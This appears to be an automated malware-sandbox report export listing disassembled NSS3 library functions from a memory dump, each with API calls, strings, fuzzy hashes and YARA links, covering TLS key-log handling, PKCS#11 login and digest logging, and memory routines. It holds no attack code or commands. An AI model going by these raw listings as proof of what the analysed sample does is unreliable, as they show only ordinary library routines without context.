Instruction Fuzzy Hash: 96310AF0F2161ABE8BC6DF6996487493EB8B71E604750A21AD00486703FFB6024DCF96

Function 6CF16E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CF16BF7), ref: 6CF16EB6

Part of subcall function 6CE71240: TlsGetValue.KERNEL32(00000040,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71267
Part of subcall function 6CE71240: EnterCriticalSection.KERNEL32(?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE7127C
Part of subcall function 6CE71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71291
Part of subcall function 6CE71240: PR_Unlock.NSS3(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE712A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CFBFC0A,6CF16BF7), ref: 6CF16ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CF16EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CF16EFC
PR_NewLock.NSS3 ref: 6CF16F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF16F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CF16BF7), ref: 6CF16F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CF16BF7), ref: 6CF16F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CF16BF7), ref: 6CF16FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CF16BF7), ref: 6CF16FFD

Strings

SSLKEYLOGFILE, xrefs: 6CF16EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CF16FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CF16EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CF16F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CF16FDB
SSLFORCELOCKS, xrefs: 6CF16F2B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 333883c3d69ccd82703e57acdecd1a6bd483bacf1c9d6e77f311b6529d087622
Instruction ID: c7049333e33dc867867494179cb60975393d9d2cab57b53be77b0208317f0ff6
Opcode Fuzzy Hash: 333883c3d69ccd82703e57acdecd1a6bd483bacf1c9d6e77f311b6529d087622
Instruction Fuzzy Hash: FFA105B3F6D9D197E7A0463CCC0039532A2AB8B329F68436AE839C6ED4EF7594408741

Function 6CE95DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE95DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE95E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CE95E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CE95E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CE95EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CE95ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CE95F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CE95F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE95F89
free.MOZGLUE(?), ref: 6CE95FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE95FB6
free.MOZGLUE(00000000), ref: 6CE95FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE9600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE96079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE96084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE96094

Strings

, xrefs: 6CE95EEB

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: f8ad6abebd597bd7dd3875beb0cd6f75d314f2a9b76d4b656fabadda3963b95e
Instruction ID: 253e3d07c8d885af4c1e5886ecbf2a23fb0070ac9ef76421f67b5210cb308ef4
Opcode Fuzzy Hash: f8ad6abebd597bd7dd3875beb0cd6f75d314f2a9b76d4b656fabadda3963b95e
Instruction Fuzzy Hash: B38104B1E052059BDF10CE64DC85BAE77B5AF0932DF244228E81AE7791E731E805CBD2

Function 6CEB6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CEB6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB6DC3

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CEB6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CEB6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CEB6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CEB6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CEB6EB9

Strings

ulDataLen = %d, xrefs: 6CEB6E0E
C_Digest, xrefs: 6CEB6D81
*pulDigestLen = 0x%x, xrefs: 6CEB6EB4
pData = 0x%p, xrefs: 6CEB6DF5
pulDigestLen = 0x%p, xrefs: 6CEB6E42
pDigest = 0x%p, xrefs: 6CEB6E27
(CK_INVALID_HANDLE), xrefs: 6CEB6DBC
hSession = 0x%x, xrefs: 6CEB6D9E, 6CEB6DAE

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 6312e0e4c431de50015ae0c5a107c82bf3bd0f06ae71df547828046f53f25f63
Instruction ID: 89c1555e041ca66e2f8bed81ed0e971ec703143b9be1979baea7d6d50c902de2
Opcode Fuzzy Hash: 6312e0e4c431de50015ae0c5a107c82bf3bd0f06ae71df547828046f53f25f63
Instruction Fuzzy Hash: 8B411731A11005FFDB44DF54DE48F9A7BB5AB4A30CF154028F808A7711DF329A19CB91

Function 6CEB9C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CEB9C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB9C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB9CA3

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB9CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CEB9CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEB9CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEB9D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CEB9D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CEB9D42

Strings

userType = 0x%x, xrefs: 6CEB9CD5
ulUsernameLen = %d, xrefs: 6CEB9D3D
pPin = 0x%p, xrefs: 6CEB9CF0
C_LoginUser, xrefs: 6CEB9C61
(CK_INVALID_HANDLE), xrefs: 6CEB9C9C
hSession = 0x%x, xrefs: 6CEB9C7E, 6CEB9C8E
ulPinLen = %d, xrefs: 6CEB9D0B
pUsername = 0x%p, xrefs: 6CEB9D24

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 8ca6a7073c4d066bec62391fd418077e6b1cdb10e332443473bf2c071c9074e3
Instruction ID: 6d6135d0ff2d5de00ec100d03d2dcf78a0dc48882dc21be7856ecad062b76093
Opcode Fuzzy Hash: 8ca6a7073c4d066bec62391fd418077e6b1cdb10e332443473bf2c071c9074e3
Instruction Fuzzy Hash: 3741D435A01105FFDB84DF55DE48BAA7BB1AB5A30EF194028F50877711DB329918CBA2

Function 6CE71FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CE72007
calloc.MOZGLUE(00000001,00000084), ref: 6CE72077
calloc.MOZGLUE(00000001,0000002C), ref: 6CE720DF
TlsSetValue.KERNEL32(00000000), ref: 6CE72188
PR_NewCondVar.NSS3 ref: 6CE721B7
calloc.MOZGLUE(00000001,00000084), ref: 6CE7221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CE722C2
GetLastError.KERNEL32 ref: 6CE722CD
free.MOZGLUE(00000000), ref: 6CE722DD

Part of subcall function 6CE70F00: PR_GetPageSize.NSS3(6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F1B
Part of subcall function 6CE70F00: PR_NewLogModule.NSS3(clock,6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F25

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 44c876a3a8985b62d618ed73756a457fed4bbd05d7a1c82e7fdc87085a114f70
Instruction ID: e5b964363613d53ee0033ec421321fbd560deb8890194a1d977b48db74f2505d
Opcode Fuzzy Hash: 44c876a3a8985b62d618ed73756a457fed4bbd05d7a1c82e7fdc87085a114f70
Instruction Fuzzy Hash: ED916E71A11742EFDBA4DF38D80975A7BF4BB0A708F10452EE54AD6B80EB71A105CBA1

Function 6CF99C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CF99C70
PR_NewLock.NSS3 ref: 6CF99C85

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PR_NewCondVar.NSS3(00000000), ref: 6CF99C96

Part of subcall function 6CE6BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE721BC), ref: 6CE6BB8C

PR_NewLock.NSS3 ref: 6CF99CA9

Part of subcall function 6CF498D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF49946
Part of subcall function 6CF498D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE016B7,00000000), ref: 6CF4994E
Part of subcall function 6CF498D0: free.MOZGLUE(00000000), ref: 6CF4995E

PR_NewLock.NSS3 ref: 6CF99CB9
PR_NewLock.NSS3 ref: 6CF99CC9
PR_NewCondVar.NSS3(00000000), ref: 6CF99CDA

Part of subcall function 6CE6BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE6BBEB
Part of subcall function 6CE6BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE6BBFB
Part of subcall function 6CE6BB80: GetLastError.KERNEL32 ref: 6CE6BC03
Part of subcall function 6CE6BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE6BC19
Part of subcall function 6CE6BB80: free.MOZGLUE(00000000), ref: 6CE6BC22

PR_NewCondVar.NSS3(?), ref: 6CF99CF0
PR_NewPollableEvent.NSS3 ref: 6CF99D03

Part of subcall function 6CF8F3B0: PR_CallOnce.NSS3(6CFE14B0,6CF8F510), ref: 6CF8F3E6
Part of subcall function 6CF8F3B0: PR_CreateIOLayerStub.NSS3(6CFE006C), ref: 6CF8F402
Part of subcall function 6CF8F3B0: PR_Malloc.NSS3(00000004), ref: 6CF8F416
Part of subcall function 6CF8F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CF8F42D
Part of subcall function 6CF8F3B0: PR_SetSocketOption.NSS3(?), ref: 6CF8F455
Part of subcall function 6CF8F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CF8F473

Part of subcall function 6CF49890: TlsGetValue.KERNEL32(?,?,?,6CF497EB), ref: 6CF4989E

EnterCriticalSection.KERNEL32(?), ref: 6CF99D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CF99DAF
_PR_CreateThread.NSS3(00000000,6CF99EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF99D9F

Part of subcall function 6CE6B3C0: TlsGetValue.KERNEL32 ref: 6CE6B403
Part of subcall function 6CE6B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CE6B459

_PR_CreateThread.NSS3(00000000,6CF9A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF99DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CF99DFC
_PR_CreateThread.NSS3(00000000,6CF9A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF99E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CF99E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF99E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF99E89

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 14456d99fc045e609c04758cb0c07c68437fdbf9497277ce036035ea828ddabe
Instruction ID: bf444f5c451feadacf44eeb21407395d38a034616a4ecd1cbbbaa35422d2136b
Opcode Fuzzy Hash: 14456d99fc045e609c04758cb0c07c68437fdbf9497277ce036035ea828ddabe
Instruction Fuzzy Hash: 68614FB1E10706AFEB14DF75D844AA77BF8FF08208B15452AE859C7B11EB70E914CBA1

Function 6CE93FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CE94014

Part of subcall function 6CE939F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE95E6F,?), ref: 6CE93A08
Part of subcall function 6CE939F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE95E6F), ref: 6CE93A1C
Part of subcall function 6CE939F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE93A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CE94038

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE9404D

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CFAA0F4), ref: 6CE940C2

Part of subcall function 6CEDF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEDF0C8
Part of subcall function 6CEDF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEDF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CE9409A

Part of subcall function 6CEDBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE8E708,00000000,00000000,00000004,00000000), ref: 6CEDBE6A
Part of subcall function 6CEDBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE904DC,?), ref: 6CEDBE7E
Part of subcall function 6CEDBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEDBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE940DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE940F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE94108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CE9411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CE94137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CE94150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CFAA1C8), ref: 6CE9417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CE94194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE941A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE941B2
PK11_DestroyObject.NSS3(?,?), ref: 6CE941D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE941FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CFAA1A8), ref: 6CE9422D

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: d91e9ac2f8b01a07850974b9ccaf4d52e7b24db5f9949fd0b89982e168b1c9cf
Instruction ID: 1a39cfc3ea9b64a05da184623d2338bfc02e16e87e9f93cefa15e4f1833045af
Opcode Fuzzy Hash: d91e9ac2f8b01a07850974b9ccaf4d52e7b24db5f9949fd0b89982e168b1c9cf
Instruction Fuzzy Hash: C65107B6A003006BF7109B669C41B6776FCDF5524CF24452EED69C7F82FB31E50886A2

Function 6CED8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8E9E
PORT_ArenaAlloc_Util.NSS3(6CFE0B64,00000001,?,?,?,?,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CED8E01), ref: 6CED8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CFE0B64,6CFE0B64), ref: 6CED8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CED8F3F

Part of subcall function 6CEDA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CEDA421,00000000,00000000,6CED9826), ref: 6CEDA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CED904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CED8E76

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 3ed2c91cddc81e7a33d17f63621103eba43bc2294d11787f84579f4e955ac3b2
Instruction ID: 81941083fb0acc2d3f03fa816c9d6e2714856c21dde796e6dd2cd7a530c63f4b
Opcode Fuzzy Hash: 3ed2c91cddc81e7a33d17f63621103eba43bc2294d11787f84579f4e955ac3b2
Instruction Fuzzy Hash: 2D616FB5D0020A9BDB10CF95DC80AABB7B5FF84358F254529DC18A7741EB32B916CBE1

Function 6CE88E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE88E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE88E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE88EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CFB18D0,?), ref: 6CE88F03
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE88F19
PL_FreeArenaPool.NSS3(?), ref: 6CE88F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE88F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE88F65
